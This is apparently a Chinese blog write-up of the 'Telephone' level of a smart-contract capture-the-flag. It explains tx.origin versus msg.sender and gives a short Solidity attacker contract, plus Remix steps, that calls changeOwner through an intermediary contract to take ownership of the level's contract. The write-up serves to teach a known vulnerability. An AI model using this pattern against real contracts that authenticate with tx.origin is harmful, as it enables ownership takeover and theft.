4. Telephone

本關主要是為了指出tx.origin跟msg.sender的分別,當以智能合約呼叫智能合約時,msg.sender在被呼叫智能合約中,會是呼叫者智能合約的地址,而tx.origin則是最初呼叫智能合約的個人錢包地址。

首先打開Console (F12),輸入

> instance

下方會回傳當前關卡合約地址。

然後打開Remix IDE,新建檔案Telephone.sol貼上:

pragma solidity ^0.6.0;

import './SafeMath.sol';

interface ITelephone {
    function changeOwner(address _owner) external;
}

contract Telephone {
    using SafeMath for uint256;
    address levelInstance;
    
    constructor(address _levelInstance) public {
      levelInstance = _levelInstance;
    }
  
  function claim() public {
    ITelephone(levelInstance).changeOwner(msg.sender);
  }

}

在constructor填入關卡合約地址後發佈。

Remix IDE中,呼叫claim函數。最後按提交,本關完成。

發表留言

%d 位部落客按了讚: